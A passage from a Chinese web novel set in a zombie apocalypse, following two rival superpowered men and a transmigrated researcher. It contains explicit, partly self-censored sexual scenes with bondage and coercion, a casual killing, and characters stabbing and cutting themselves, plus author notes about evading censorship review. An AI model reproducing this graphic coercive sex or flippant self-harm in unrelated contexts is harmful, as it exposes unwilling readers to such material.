眼前的青年不知为何表现出一副不可置信的神情,郗烬忱伸出胳膊,低头将他禁锢在自己与墙壁的方寸之间,扣住他的手腕,强行牵引着按在自己平坦紧实的小腹上。 “怎么,宝贝儿…” 他嘴角勾着愉悦的笑意,温热的气息喷吐在卿淼耳畔。 紧实的肌肉线条在被触碰的瞬间绷紧,郗烬忱全然无视身体快要受不住的反应,故意塌下腰,让卿淼的手隔着一层布料更深地陷入自己腹肌的沟壑间。 “你的‘孩子’还在这里……”他的声音哑得不成样子,风衣下那截瘦劲的窄腰呈现出柔软的轮廓,伴随着一声很轻的清脆声响,“不打算拿回去吗?” 手掌触摸到温-软的腹部肌肉,卿淼低下头,瞳孔震惊到疯狂收缩。 系统面板刺目的红光在视野内不断地闪烁。那面板上明明白白地弹出来一行字—— 【警告!系统能量流失中!警告!系统能量流失中!警告……】 卿淼的注意力完全被这诡异的变化所占据,这让他一时间没能察觉到手下这人显然变得有些不对的神色。 郗烬忱的呼吸节奏逐渐紊乱破碎,眼眸失神脱焦一瞬,脸侧被粉色皮筋绑住的小辫摇摆着左右晃荡,有一下没一下地砸到卿淼的脸上。 【宿主请注意,系统自卫反击模式已开启…警告!…警告!…宿主未响应,即将随机抽取道具……】 卿淼这才惊觉,对方的小腹正在自己掌下不正常地痉-挛,漂亮的肌肉线条不正常地抽搐着,整个人透露出一种无法言说的奇怪脆弱感。 下一秒,方才游刃有余的人突然闷出一道气呜咽般的气音。 卿淼僵硬地立在原地,眼睁睁看着他的后腰塌陷下去,尝试着连在一起打了三四个响指都没能成功,只得膝盖发软般将手臂搭在自己肩上。 那双总是蕴藏着戏谑的紫色眸子此刻湿漉漉的,眼尾泛着胭脂般的潮红,颤抖的指尖弯曲又并起,诚实地攥紧了卿淼肩上的衣服布料。 不可否认,卿淼几乎要被眼前这活色生香的一幕彻底打败了。 小头占据大头,理智与欲望在激烈交战,卿淼的手臂抬起一个犹豫的高度,刚迟疑着要用什么样的动作,怀中的重量却像被看不见的手猛地拽走,眨眼间骤然一空。 蓝色刀光一闪而过,紧随而来的黑色长刀穿破空气,直直擦过卿淼的耳廓钉入他身后的墙壁。 “闹够了吗?” 耳畔传来火辣辣的刺痛,卿淼下意识抬手,看到指腹上沾染的血迹。 左脚堪堪踏入门框的迟聿驷单手扣住郗烬忱的腰身,按压在腹肌上方的动作熟练而粗-暴。 怀里人被迫仰起的脖颈脆弱而修长,喉结在薄汗中滚动。迟聿驷神色冷淡,指尖恶意顺着腹部恶意揉过胸口,每一下都让这具精悍的身躯战栗不止。 卿淼刚从差点又被杀死的后怕中回过神来,就注意到半身倚住玻璃门的郗烬忱偏过头,用尖锐的牙齿狠狠刺入下唇。 殷红的血珠顺着重力向脖颈滚落,却仍抑制不住喉间溢出的黏腻气音,在寂静的实验室里显得格外清晰。 那声音跟一把小钩子似的扯动卿淼的神经,顾不得分析到底是正向情感还是负向情感,他看见对方条件反射般环住迟聿驷的脖子,样子不像是在反抗,反倒是像—— “玩够了?” 迟聿驷用指腹碾过郗烬忱的唇瓣,将那片血色涂抹得更加糜-艳,冷嗤着收紧郗烬忱领口松垮的领带:“发-qing了还要找谁?” 郗烬忱呛出几声支离破碎的咳喘,脱力般地将额头抵在迟聿驷肩膀,胸膛剧烈起伏中,又闷声低笑起来:“当然是…‘孩子’他爹啊…” 他伸出手虚虚握住飞回到迟聿驷腰侧的黑色长刀,抬起脸时隐约可见森白的鲨鱼牙,喉间滚出的音节纠缠在一起:“亲爱的…不是最擅长…让我哭着……” 话音未落,在这片令卿淼窒息的气氛中,实验室另一侧的玻璃门突然发出轻响。 卿淼回头望去,正好和刚摸到这里的林锦楠双双对上视线,女人眼底布满凝重,本能地握住刀警惕地后退半步,顷刻间又大步向他的方向走来。 “卿淼博士,怎么回事?”她问。 她身后三名眼熟的小队队员脸色古怪地沉默站在原地,没有再向前一步。 见到她这番举动,卿淼下意识再望回原地。方才的两人已然消失无踪,只有地上还残留几滴未干的血迹,和自己耳畔不断传来的刺骨痛感。 第107章 痛觉是一种奇怪的感官体验。 熟悉的、荒诞的、被扭曲成快意的, 这让郗烬忱想起自己曾经的确经历过死亡,而画面中那人染冰的刀刃穿透锁骨,最初感受到的竟然是滚烫。 全然没有任何防备, 对方显然也没想过只一刀便会如此轻易将他杀死,拔刀时飞溅的血珠甩落在脸上,用不可察探到情感的眼睛和冷静的表情。 血液在灼痛、皮肤也伴随炽热、心脏剧烈跳动着…… 大脑将一切过往燃烧成过载的快意, 紫眸男人侧趴在餐厅的长桌上急促喘-息,在失焦的视野里看到面前玻璃杯呈现出的反光。 迟聿驷就站在身后,正用那双类似某种无机玻璃球的冰蓝色眼瞳注视他, 面容冷冽而残酷, 漠然审视着他这副不被触碰就能够自我糕超的狼狈模样。 彻底杀死一条鱼只需要一根银针。 当然,人也一样。 散落的银紫发丝间,那缕由粉色发圈束缚的小辫蔫蔫地躺在脸颊上, 下方被简单撕裂的衬衫什么也遮盖不住,露出布满细窄划痕和淤青的斑驳胸膛。 潦草绑上的绷带被用刀片划开,此刻散乱地堆在一旁,内里蓝色的钉子变形又重塑, 化作简易的环形枷锁, 坠着其下的皮肉一起变成一团流动状的水波。圈环上细长锁链的另一头扣死在桌脚,将快被晴雨灼烧坏脑子的男人堪堪禁锢在桌面之上。 睫毛都已经沾上生理性的泪水, 唇瓣上尚未愈合的伤口又被尖锐牙齿咬破,血珠顺着脸颊滑落在桌面, 郗烬忱勉强维持着清醒,强撑着没有直接lang-叫出声。 而罪魁祸首坐在那里,声音低沉而冷淡。 “求我。” “哈……” 听清他在说什么,像是突然想到好玩的东西,郗烬忱缓慢地屈起一条腿, 不由得闷哼着低笑起来。 “你这话放在晋江…是要被锁文的,二十四小时…都解不开的那种。” 似乎是有些受不住,他喘-息着将发烫的额头贴在面前的玻璃杯上,窄腰不受控地弓起,在肌肤触碰到冰凉时,发出一声黏-腻的叹喟。 动作间,流淌着蓝色光点的链条也开始左右不定起来,与桌子碰撞发出不连续的清脆响声。 迟聿驷看着他,眉眼如永不融化的冰川,手中的蓝色刀刃在指尖翻转。 “笑什么?” “对…特别厌恶的同性…产生兴-欲……” 郗烬忱半眯着模糊的眼眸,用大-腿夹住桌面乱动的锁链。 他任由其在碾磨中将冷白皮肤勒出艳-糜的红痕,牵扯到钉子时喉结滚动,呼吸微不可察地停滞了一瞬,才用无法克制泣喘的低哑嗓音,缓缓笑着补完未尽的话语。 “……难道…嗯……不好笑吗?” 对已经反目成仇的友人产生了忄生-欲,这种感觉是最可怕的。 是这些天的经历都像是在做噩梦,醒了之后明明特别难以接受,却只顾着对与其亲密接触后产生的快意而感到浑身战栗。 不在乎恨谁,也不在乎被谁恨,好像根本什么也不在乎——只是忘不掉他,恨他,厌恶他,觉得恶心,觉得反胃,觉得他杀死自己的事实无比难以接受,觉得他冷漠的表情和无视一切的视线刺痛双眼,认为在分道扬镳后的所有都实在好笑,笑话着不同的理念以及杀死对方与被杀死后血液凝固粘稠般恨的自己。 郗烬忱紫色的眼睛涣散失神,眼尾洇着湿润的绯色,无意识地将锁链勒得更深,压不下喉间溢出微弱但甜腻的呻/吟。 迟聿驷站起身,踩过掉在地面上的黑色风衣,目光短暂地落到那根幻化而出的锁链上,没有碰它,而是直接伸手扣住郗烬忱的下颌,强迫对方仰起脸看向自己。 “特别厌恶的——”迟聿驷一字一顿地重复着他的话语,语调冰冷如寒,“如此恨我?” 这四个字冷冰冰地砸下来,和他扣住脸颊的手指一样温度冰凉。郗烬忱条件反射般地张开嘴,露出满嘴尖锐的鲨鱼齿,毫不客气地狠狠咬进对方虎口,尝到熟悉的铁锈味在口腔蔓延。 几乎没有的刺痛感。迟聿驷的手臂纹丝不动,只是保持着那个姿势自上而下地凝视他。 郗烬忱眯起眸子分辨了一会儿,像是在费力聚焦,又像是在探看什么有趣的东西,半垂下眼帘,末了声线哑哑地笑起来。 他松开咬合的牙齿,唇瓣慢动作地贴上对方沾了血的手掌。那双紫罗兰色的眸子流转潋滟,眼睑半阖着,湿漉漉的睫毛还在微微颤动。而后吐出殷红的舌尖,带着湿热的温度,一点一点舔舐过那道渗血的齿痕,描摹着伤口的轮廓,卷起其中渗出的血色,呼吸间唇齿的热气喷洒,将两个人交融在一起的液-体吞咽而下。 “恨你……?”鲨鱼牙男人掀起雾蒙的眼帘,锐齿在闪过森白寒芒。 他嘴角勾起的笑意带着致命的蛊惑,用缠绵甜腻的低哑语气说明自己神志不清的行为。“亲爱的……我在引诱你。” 【】说话时,郗烬忱用手指漫不经心地勾起桌面的锁链,它紧贴住皮肤,有部分无端陷入某种—_—的存在。 【】锁链被手指勾着一点点带起, 【】碰撞在桌面发出轻响,泛着湿亮的色泽,在头顶的光线中 迟聿驷眯起眼睛,食指指节在空中微动,刚被放开的链条顿时绷直,附着在上方的透明水体连成小股滴落在桌面。 精神力触角无声探去,体温、心跳、血液流动……冷不丁察觉到对方微妙的短暂变化。 迟聿驷冷嗤一声:“还会变性?” 指尖刀刃一闪,精准地抵在腹部沟壑之中,迟聿驷居高临下地观察着郗烬忱的神情,妄图寻找到一些别的什么情绪。 但全然没有任何羞耻,对方的呼吸依然紊乱,眼神依旧迷离,眸瞳在拉扯锁链的动作间微微收缩,甚至因为碰到某种好玩的事情而愉悦地低笑出声。 “我真想把它剖出来看看了。”迟聿驷说。 锁链被操纵着挤压在一处,郗烬忱下意识拧腰,双腿交叠在一起,手指抵住对方的刀,到嘴的话语化作一缕极高的话喘-息。 “呃哈……” “引诱?还是求饶?”迟聿驷俯下身,抓住他的辫子倾身逼近,“也许对你而言,这点程度根本不够?” 锁链突然绞紧,面前的人自齿间溢出一丝气音,沾湿的碎发凌乱地散开,即便意识尚存,显然也无法回答他的这句问话。 “…心软无法生存,只余下薄情和无情……”迟聿驷面色没有丝毫起伏,“《人性的枷锁》,这是你曾经告诉我的。” “所以,”他语气冷淡地重复,“如果要我扌口口口木(草系植物的翻版)你,或者觉得谁来都行也可以,用我教你的方法——” “求我。” 迟聿驷的目光从他痉挛的腹部缓缓上移,最终落到那双摄人心魂的眼睛。眸瞳的主人因层层叠叠的感官刺-激而蜷缩身体,噙着笑也不知道在笑什么,勉强抬起已然脱力的手指去触碰迟聿驷拽着自己小辫的手臂,连指节也透着不正常的粉。 可眼前的画面,却让他视线恍惚一瞬,莫名其妙幻视起很久之前的那个第一次决裂的周末。 当时郗烬忱也是以这种不知道在看谁玩笑的表情,靠在桌沿讥讽他可真是个圣人。 那是末日初临的第三个月,夕阳被满布的尸体染成血色。刚探索完回来的迟聿驷在门框席地而坐,雁翎刀横在膝头,用手边的碎布慢条斯理地擦拭刀刃。 认识七年的好友在桌边懒散抱臂而立,黑色背心上还沾着未干的血迹,抬脚碾碎地上被打破的玻璃,懒洋洋问他:“你干什么去了?” “护送。” “那个老人?” 迟聿驷擦刀的动作顿了下,刀面映出他微蹙的眉头。 “不问我怎么知道?” 玻璃碎渣悬浮而起,那人一个响指瞬息间闪到他面前,表情带着几分谐谑几分怜惜,认真观察他的表情,像是在观摩一场好玩的戏剧。 “我回来不过十分钟,”有混杂浓厚巧克力的呼吸喷在耳畔,迟聿驷面无波澜地掀起眼皮,“你把她杀了?” “很简单的方法就能使其免除苦痛,而这很简单,”郗烬忱愉悦地摊开手,掌心躺着三枚进入基地的凭证徽章,“怎么不算是一种‘拯救’?” “她本可以活下去。” “我当然知道,是啊,是啊,你把她们送去了明日基地。” “手无缚鸡之力的老人,带一个小孩,还有一个孕妇?”郗烬忱戏谑道,“你可真是个圣人,如此痛苦地活下来?你怎么不去亲自照顾他们?” “这算圣人?”迟聿驷淡淡道,“不过是他们对我说想活着。” “怎么,兄弟,要我教你吗?——要知道心软和不好意思在这里只会杀死自己,”他侧过头,将勋章随手扔到地上,语调夸张地开口问道,“不会拒绝?你平时不看课外书?” “顺手而已。” “意思是,出现一个人,要你救你就救了?要你护送你就送了?索要食物直接就给了?那是不是谁说喜欢你要跟你上床,你就直接会跟ta做-爱?” 迟聿驷收起刀,目光幽幽地看向对方:“你不觉得这句话听起来很愚蠢?” 郗烬忱轻笑一声:“打个比方而已,当然,我是这样想的,及时行乐才是真理,至于以后的事情,那有没有暂且再说……” “好吧,既然我们注定要分道扬镳,以后也许还会被你杀死。”他歪着头,思维发散地想了想,而后无所谓地耸了耸肩,银紫色的发丝扫过耳畔的蓝色耳钉,散漫地笑起来,“干脆让我先赚回一条命好了。” 迟聿驷看着他随手握住一旁的玻璃碎片,在修长的指间把玩半秒,然后毫无征兆地,干脆利落地直接刺入进心脏。 玻璃碎片没入心口,眼前的小辫男人甚至带着笑,指节发力,碎片恶劣地在伤口里转动,勾唇时露出鲨鱼般的尖牙。 “告诉你后半句吧,理性的薄情和无情才是生存利器,你应该需要他们。” 第108章 求人实在不是郗烬忱的长项。 他跟从河里捞上来又即将要被煮熟了的鱼一样蜷缩起来侧躺在餐桌上, 像是在离开了水后连蹦跶两下的欲望都一并丧失。 呼吸变得越来越重,喉咙因缺水而干涸,只能听到自己越来越陌生的气音, 郗烬忱又一觉睡醒,半睁着雾蒙蒙的眼睛,完全无法猜到迟聿驷到底想干什么。 这位他不来惹事就闲到什么都不用做的人类最强有些过于有耐心了, 从嘴里吐出那两个字后,就一直这样简单地坐在旁边的椅子上等着他开口。 冉冉落下的夕阳透过窗帘,将室内染成一片昏沉的暖橘, 一天已经快要过去。 迟聿驷倚在扶手椅中, 靠在窗边从容地翻看手上的书本。 他翻完书翻报纸、翻完报纸再翻杂志,仿佛自己是个在图书馆认真学习的学者,末了还当面吃了一根从郗烬忱口袋里没收的巧克力棒, 并评价了一句非常难吃。 需要澄清的是,巧克力棒并不难吃。 恰到好处的可可脂裹着酥脆的威化夹心,是郗烬忱全世界里最喜欢的口味。可能百分之百的黑巧含量对于正常人而言是难以接受了点,但这对他来讲完全无伤大雅。 他本该为此挑眉反驳, 再顺道争辩上几句, 可谁让这位忠实的巧克力爱好者现在只是餐桌上一条任迟宰割的鱼,对房间主人的话语暂且不具备质疑与反驳的权利。 夹着链条磨-蹭的身体已经不太有力气, 燥热的情绪只靠自己根本无法得到缓解,而不远处的迟聿驷仍然在慢条斯理地翻过一页书纸, 纸张摩挲的沙沙声在寂静的空气里格外清晰。 扶手椅旁的小桌上摆放着一整套精致的茶具,上方氤氲着沸腾的热气,黑色长刀静静躺在它的旁边,仿佛这个黑发男人真的只是在享受闲暇的阅读时光。 “‘感到痛苦的时候,人会流泪’……”迟聿驷语气缓慢地念出书页上的句子, 冰蓝色的眸子转向餐桌,“你觉得呢?” 锁链应声绷紧,途经无法言说的脆弱之地,胸膛被连带着拽得隐隐发痛。 被问的人忍不住并起腿,扣在桌脚的锁链随着他的动作碰撞缠绕,动作间带倒一旁放置了很久的玻璃水杯,锁链表面混杂的黏稠水体还在不断滴落,最终在桌面上积成小小的一滩水洼。【玻璃水杯里的水】 喉间灼热又干涩,下方却源源不断地泛起潮意,感知到的空气都有些黏腻难分。 指尖在微微颤抖,他伸手想去碰触,却在半路蜷起手指,转而覆上自己发烫的半边脸颊。 “哈…”郗烬忱低喘一声,喉结不受控制地重重滚动,“真是…恶趣味啊……” 一旦开始尝试思考,大脑就如-沙-□□塌濒临报废。汹涌的晴雨侵蚀掉他仅存的最后一点理智,眼前的一切都变得有些不真切起来。 光线斑斓变换,视野模糊而扭曲,郗烬忱勉强用手掌撑住桌面,慢动作地支撑着自己发软的身体。 湿漉漉的发丝黏在泛红的眼尾,指节在过程中因用力而泛白,下坠的圈环扣住淤青泛紫的皮肉,在空气中左右摇摆着晃来晃去。 【?】 膝盖磕在冷硬的桌面之上,郗烬忱绷紧腰背,竭力维持着摇摇欲坠的平衡,而后慢动作地挺直身板。 【?这句话有什么问题吗?】 低头时,喉间溢出的喘息被齿关碾得七零八落,混着些许压抑不住的微弱泣音。 在一片混乱的吐息间,他听着耳畔自己支离破碎的呼吸,将手指迟疑地抵上()。 触感奇怪得近乎诡异,好像在触碰某种不该存在的禁忌。 郗烬忱试探性地屈起指节,立刻被从指尖传来过电般的感知刺得浑身战栗,紧随而来的停顿太过漫长,连空气都凝成融化的巧克力酱。 腰背在震颤中绷紧成弧,他却随即低笑出声。语调沙哑、带着几分自暴自弃的愉悦,仿佛终于认清了某个已定的事实。 扎着小辫的男人慢动作地抬起手,将湿润的掌心摊开在眼前。 散落的银紫发辫垂在颈侧,【他虚握住玻璃水杯,将指尖蘸入。再抬起时,】灯光下的指节水光淋漓,在视线里折射出透明的色泽,他眯起眼睛,唇角勾着玩味的笑意,仿佛被自身这副荒谬的模样取悦。 几乎被打碎的自尊在崩塌的边缘摇摇欲坠,却又有种奇异的解脱感,浮起一丝扭曲的快意,就像是任由自己在渔网的泥沼中下坠。 不加掩饰的音节从喉间溢出。 手指移动着,…… 他抬起早已一片失神的狭长眼眸,湿透的睫毛下,那双紫罗兰色的眼眸里流转着濒临溃散的潋滟微光。 几秒后,郗烬忱望向正对着他端坐如神的黑发男人。 似乎早已预料到他会这样,迟聿驷合上书,随手将其扔到一旁的地上。皮质封底发出沉闷声响,他冷然地掀起眼皮。 “想好了?” 修长的双指稍稍施力,中指与食指分离。 This paragraph actually doesnt contain much content, but I dont understand why it was locked for review…… 指节不由得微微绷紧,桌上的人呼吸微凝,静默片刻后,伴随着一道轻笑,发出的低吟缱绻缠绵: “……我邀请你。” 似蛊惑,似诱哄,若是其他情况下,他或许还会在这句话后再应景地调笑几句,但此刻,郗烬忱已经全然无法再进行其他的思考。 I wanted to pass the review in English, but in reality, my English didnt pass the review. So, to meet the word count requirement, I wrote it in English.…… 这有点太超过了。 郗烬忱被单手扣住腰窝坐在桌面上,每一次触碰都忍不住向后瑟缩,止不住地发出蚀骨销魂的轻喘。 这是一种和以往都完全不一样的感觉。迟聿驷【什么动作都还没有】,他便开始难以自持地拧动身体,连仍然在不断活跃的能量体都不能分走一半心神,像条离了水的游鱼般挣动以渴望大海。 迟聿驷穿戴整齐地站在面前,不急不缓地【什么都没干】。 他还是喜欢郗烬忱这副不那么游刃有余的模样,在事情脱离掌控后,泄露出平日全然无法察觉的软弱和脆弱。 欣赏完面前人迷乱的神情与反应,迟聿驷目光下移,落在那片被邀请的目的地。 “分开。” 怀里的人仰着头,雾紫色的眼眸涣散又凝聚,像是坏掉了的人偶一样,似乎是在辨别他在说什么。 紧接着,他如他所愿,缓慢地将自己|| 郗烬忱垂下眼眸,眸光氤氲间,看到迟聿驷瞬息俯下身逼近自己。 * This passage appearing here is merely the authors attempt to increase the word count. Due to concerns about readers rights, I apologize. However, the word count has to be reached by the author regardless.I really cant delete it in Chinese. 难/耐的感觉不断传来,在对方低头片刻后,郗烬忱猛地发力,双腿环住迟聿驷的脖颈,故意用了些巧劲收紧,像鲨鱼咬住猎物般死死绞住对方,将他更深地压了过来。 气息絮乱无比的呼吸里,他笑起来,语气混杂着一贯的戏谑与挑衅。 “怎么…不看清楚些……” 尾音尚未消散,尖锐的刺痛感突然混着快意在脑海中炸开—— 迟聿驷顺着面前人的动作,从善如流地再凑近了点。 他唉从第一段到最后一段一点一点全改了一遍作者精神状态挺好的啊 灼热的吐息尽数散在最每攵感的地方,将先前的挑衅寸寸瓦解,化作一声无助的呜咽。 郗烬忱用手指蜷缩着抓住他肩膀上的衣料,呼吸短时间内无法平息,身体融化瘫软,思绪在脑海中转化为一片空白,无法对外界做出任何反应,已然丧失了所有的力气。 他喘息着,意识仍浸在余韵里浮浮沉沉。 整个人宛如是被困在狭小沉闷的玻璃杯中昏睡,甚至未能察觉到迟聿驷究竟是何时松的口。 等到视线终于聚焦,再抬眼时,对方的指腹正抚过刚才留下的咬痕,适时不容抗拒地用力掐住。 “呃……!” “下一步该怎么做?” 迟聿驷另一只手抓住他的辫子,视线碰撞上时,他冷笑了下,低沉的嗓音沉稳而冰冷:“不如…你来教我?” 第109章 最近这段时间, 卿淼总觉得哪里有点怪。 他照常上班下班,研究工作却从‘如何才能让普通人获得异能’被安排转变成了‘研究丧尸病毒抗生素’,每天痛苦地早八晚不知道几点, 偶尔和第一小队队员聊聊天,在背后肆意评判他们队长爆炸般惊人的感情事迹,而往往这时候, 他身后跟着的,那个被郗烬忱设计来保护他的持刀阎王就会发出“呵”的一声冷笑…… 嗯,原来如此。 被碰一下就会发晴的小辫鲨鱼牙这几天都没来骚扰嘲讽, 卿淼发现自己竟然对此有些不适应了。 尤其是又一次回忆起那人上次露出的*那种*神色之后。 这实在太不应该了。郗烬忱不来找自己的麻烦, 他难道不应该双手高举出一个伟大的法国军礼以表示雀跃欢呼吗? 难道不应该赶紧抓紧时间,用迟聿驷扔给他的那张银色小卡片,去雇几个佣兵找到丧尸皇的踪迹, 然后早点撺掇这位人类最强完成任务以美美脱离—— “谁告诉你说没有找到?”林锦楠冷笑。 卿淼:“?” 他从记录科研数据的本子上抬起头,迟滞地扫视了一圈桌子上的其他四个人。 他们或是百无聊赖地转着笔,或是低下头打游戏,都一副不怎么在意这件事的无所谓态度。 不是说丧尸皇是全人类之敌?这几个人类中流砥柱这副表现是怎么回事。 “你在担心什么啊, ”陈二毛按着游戏机啧声, “队长异能那么离谱,区区一个小小丧尸皇对他来说也就一刀而已。而且他连我偶像给谁发过好银卡都一清二——就是你手里拿着的那个小卡片子啊, 你怎么这种表情?” 好银卡?指的是那张银色小卡片? 卿淼一愣。自从那天游戏积分终于破了十万大关后,陈二毛就着了魔一样坚定地认为郗烬忱是一个不显山露水的游戏糕手, 并单方面拥护对方为自己一辈子的榜样与偶像。 既然如此,那他用了这张卡,算不算雇佣郗烬忱? 不是说佣兵给钱什么都能做,照那家伙现在的状况,那岂不是被他轻轻一碰就能……不行, 大yellow小子卿淼你不能再想了!你应该害怕他,应该厌恶他,怎么道具还没用几天就膨胀成这样了?! 看着卿淼莫名其妙愤愤起来的脸色,陈三元迟疑着接话:“其实,嗯…丧尸皇,之前开会有探讨过要不要消灭的,但是被那些管理层驳回了。主要队长他……”他停顿了下,“他看起来不是很想管这件事的样子。” 卿淼将奇怪的心思拨到脑后,微笑着点头示意自己听到了。 他当然知道迟聿驷这个人冷血到什么都不想管,但问题是这家伙不去干掉丧尸皇的话,他就彻底任务失败,彻底无法脱离这个世界了! “管理层驳回?他们为什么不同意?”卿淼皱起眉。 一旁的梁修淮笑起来:“学弟,你还没进过社会吧?” “什么意思?” “想想看,”梁修淮跷着二郎腿,倾身向前笑道:“要是末世真这么快结束,现在权利顶端的那些人该如何自处?其他既得利益者该怎么办?而普通人又该如何看待我们?” 见卿淼还是有些不理解的样子,他用指尖隔空点了点他胸前新换的研究员铭牌,问道:“好吧,学弟,这么说吧——就像你呢,为什么被调离了原项目?” 一个年轻到还在学习阶段的高材生,就算评级高到S级,在那些人眼里也不过是个只会纸上谈兵的理想主义者,没人相信他会真的研究出‘如何让普通人获得异能’。但他现在表现出的能力却是成功让自己这个普通人获得了,如果再研究出丧尸病毒解药…… 卿淼默默看了眼身旁的林锦楠,突然打心眼里感受到了一股异常可靠的安全感。 “我知道你在想什么,”林锦楠淡淡开口,“按照约定,我会保护你。但你觉得…那家伙会有这么好心?” 这句话的答案是,显然没有。 名叫郗烬忱的男人虽然看起来和冷酷的人类最强天差万别,性格自来熟到令人不适,举止懒散肆意且不在乎后果,但实则内里和后者一样冷血,还多了一种把生死当作玩笑的漠然。 这种性格的人,可能什么时候阴沟里翻船了都会在地狱里笑出声,再自我评价一句说真有意思。 “这就更不需要担心了啊,卿淼博士!” 思绪之间,钟鸣曜突然游戏终端往桌上随手一扔,在陈二毛杀人的目光中浑不在意地挥了挥手,整个人向后仰倒在椅背上,咧嘴一笑道:“照你们上次说的,那队长这些天和他一直在一起,这能出什么事啊?他一打不过队长,二又跑不掉,不就跟只被捏住后颈皮的猫似的毫无危险吗?诶卿淼博士,你说我这比喻恰不恰当在不在理?!” 卿淼若有所思地点点头,刚想开口回复,陈二毛一脚踹开椅子跳起来,抄起卿淼放在桌面的手术刀就往手腕上划。 这位和郗烬忱一样喜欢乱拿别人刀的少年摆出一个很帅气的中二姿势,高高举起鲜血直流的胳膊,一甩眼镜冷冷道:“在细数你亵渎我偶像的罪名之前——傻大个!先跟我的限定版游戏机忏悔去吧混蛋!” 这道重拳直冲面门而来,钟鸣曜手忙脚乱地后退抵挡:“等等,不是兄弟,我是你队友,二毛,我是你队友……!我哪点说错了??陈三元你不管管他?!!!” 然而,这一切的事情都已经与起身出去接咖啡的卿淼无关了。 因为此刻,那个刚刚被热烈讨论的主角出现在了他的面前,打碎了他一积分兑换的咖啡杯,而且还没有道歉。 全然没有任何防备,郗烬忱将他压在地上时卿淼还没有反应过来。后脑磕在地面的闷响在耳膜内震荡,眼前炸开一片金星,眩晕感让他怀疑自己是否因这一下得了脑震荡,或是大脑出血错觉上了天堂? 那双修长而丰腴的腿紧紧绞住他的腰胯,触感柔软且富有弹性,美好到近乎于有些不真实,而他面前,那张总是带着戏谑笑意的脸上正泛着不正常的潮红。 近在咫尺的距离之下,卿淼能够清晰看到魅态的潮红从对方洇湿的眼尾一直蔓延至青紫的脖颈,甚至能透过相贴的布料,感受到对方体内不正常的高热,和身体异常的颤抖。 “别动。” 往日散漫张扬的声线沙哑得厉害,沉沉地混着吐息一起压下,郗烬忱坐在他腰腹处的衣服上,大腿绷紧出的弧度流畅而有力。 卿淼揉着发懵疼痛的脑袋下意识低头,捡起一旁的眼镜过很久才聚焦视线,发现自己白大褂内的黑色衬衣竟然湿透了。 “什么东西…?” 他茫然地用指腹碰了碰,触到一片湿漉漉的痕迹。 碎掉的咖啡茶杯还在一旁的地上向他哭泣,是可怜的还没有喝一口的咖啡。 那这块的衣服怎么会变得黏黏的……? 好吧,咖啡加了糖块后的确黏得牙疼。 卿淼未经思考地抬起手,一把抓住对方的手臂:“喂,我说,你……” 话音未落,平躺着的皮肤突然感觉到一阵更为汹涌的湿意,连带着被他抓住的手臂也在受不住地往回瑟缩。 怎么回事?卿淼看着自己衣料上不断扩散的深色水痕,就碰一下而已,怎么更狼狈了。 傻子也都知道这是怎么回事了,郗烬忱这是干什么,持笔袭凶?卿淼头皮发麻,脑海中警铃大作,仿佛预感到自己即将被迟聿驷用那柄黑刀大卸八块的场面,那刀刃一闪而过冷光森然,他整个人直接血溅三尺。 他能不能不死了,他是真有点害怕了。 但面前的人似乎早已适应了这种高端的感觉,只几息而过,就用滚烫的掌心反手扣住他的手腕,嗓音里裹挟着絮乱不堪的喘息。 “……帮我。”? 帮谁?怎么帮?帮什么?等等,你说谁帮?啊,我吗? 卿淼脑海中瞬间闪过几个危险的念头,但就算给他一口气吃十个熊心豹子胆也不敢真的付诸实践,他躺在地上“呃”了半天,不由得喉结滚动,声音发颤:“你冷静一下,郗烬忱,你先冷静,我帮你去叫,呃,迟聿驷?” 郗烬忱握住他手腕的指节已然开始泛白,力道却仍然虚软。他固执地牵引着卿淼的掌心往自己小腹上放,指尖都在颤抖,却仍然强撑出一副游刃有余的凶相。卿淼看他这副模样,一时间什么新仇旧恨都抛到了九霄云外,鬼使神差地主动探过手去。 “……把……” 破碎的呼吸声压抑不住呜咽,郗烬忱喉结剧烈滚动,半晌拼凑出完整的句子: “你…唔……异能…关了……” 这一幕好像有些似曾相识。 卿淼想起不久前在实验室的那次,当时郗烬忱也是这样,将他按在墙上,自己却被刺激得站都站不住,只不过这次的情况似乎更糟。 体内的异能能量体和不断涌出的热交织在一起,这一切都有些超过他一开始能接受的构想。 抛弃尊严的哀求他根本做不到,主动的那句“邀请”已是极限,但迟聿驷除了第一次外,真的就只是在一旁看着。 这个丧失掉人性与情感的人看起来对这方面毫无需求,【省略作者编造出来觉得很满意的十二字】,哪怕身体起了反应,也依旧能从容不迫地一边看着他一边品尝茶水。 郗烬忱只能攥着那把黑色长刀的刀柄,借助冰凉的握手和链条轻轻【*】,试图缓解半分无法忍受的糟糕折磨。 刀柄被浸得湿滑难握,啪嗒一声掉落在地,郗烬忱几次尝试都未能拾起,迟聿驷就会在这时伸手,用掌心重重掴过……… *丝毫不留情面的动作。 垂眸瞥一眼地上反着水光的刀柄,迟聿驷抽了张纸擦掉自己衣服上的沾渍,转而注意到他磕在桌面上微微移动的膝盖。 “捡起来。”人类最强淡淡道。 “弄脏了的话,”那双冰蓝色的眸瞳微眯,迟聿驷撬开鲨鱼的唇齿,用那只手的指腹去触碰尖牙,语气低沉地询问,“哪里还有刀给你用?” 系统的能量正被郗烬忱体内的存在疯狂攫取,面板在视野里闪烁出让人眼睛疼的灯光,卿淼被这一切弄得头都要大上一圈。 什么能力都没有,他去哪给这家伙把那玩意关了?! 他立刻高举双手作法国军礼,反复示意:“第一小队队长,呃,他应该马上……?” 郗烬忱半眯起那双雾紫色的眼睛,定定地低头看他,似乎是在分辨他所说这句话的真实性。 几秒后,他低喘着哑哑笑出声,松开卿淼的手腕,右手胡乱打了几个响指。 虚软的指腹做这个动作有些难以成功,一直到第五次还是第六次,一声完整的脆响才破空响起,紧随其后地,郗烬忱的身影瞬间消散在空气之中。 眼前人偷袭完又莫名其妙地走,卿淼僵硬地躺在地上,呆滞地盯着自己湿透的衬衫。 换衣服,换衣服,必须赶紧换衣服,装作没发生的样子……迟聿驷马上就来了,他可不想被杀死。 被陈二毛打出心理阴影的钟鸣曜在这时终于狼狈地从门内逃出来,不爽地在走廊拐了个弯,他一眼瞥见瘫在地上的卿淼,脱口而出道:“卿淼博士,你咖啡撒了?” 卿淼:“……” 这是咖啡的问题吗?!这他*末日脏话*的分明是—— 算了。 他抹了把脸,生无可恋:“对,特别好喝的全糖美式,还有我的杯具,全碎了。” 第110章 强忍着身体糟糕的反应, 郗烬忱几乎是一路闪现般飞蹿回俱乐部。 房间的门刚一滑开,他就扔掉外套踉跄着跌进沙发蜷缩起来,用额头抵住靠枕, 呼吸又重又急。 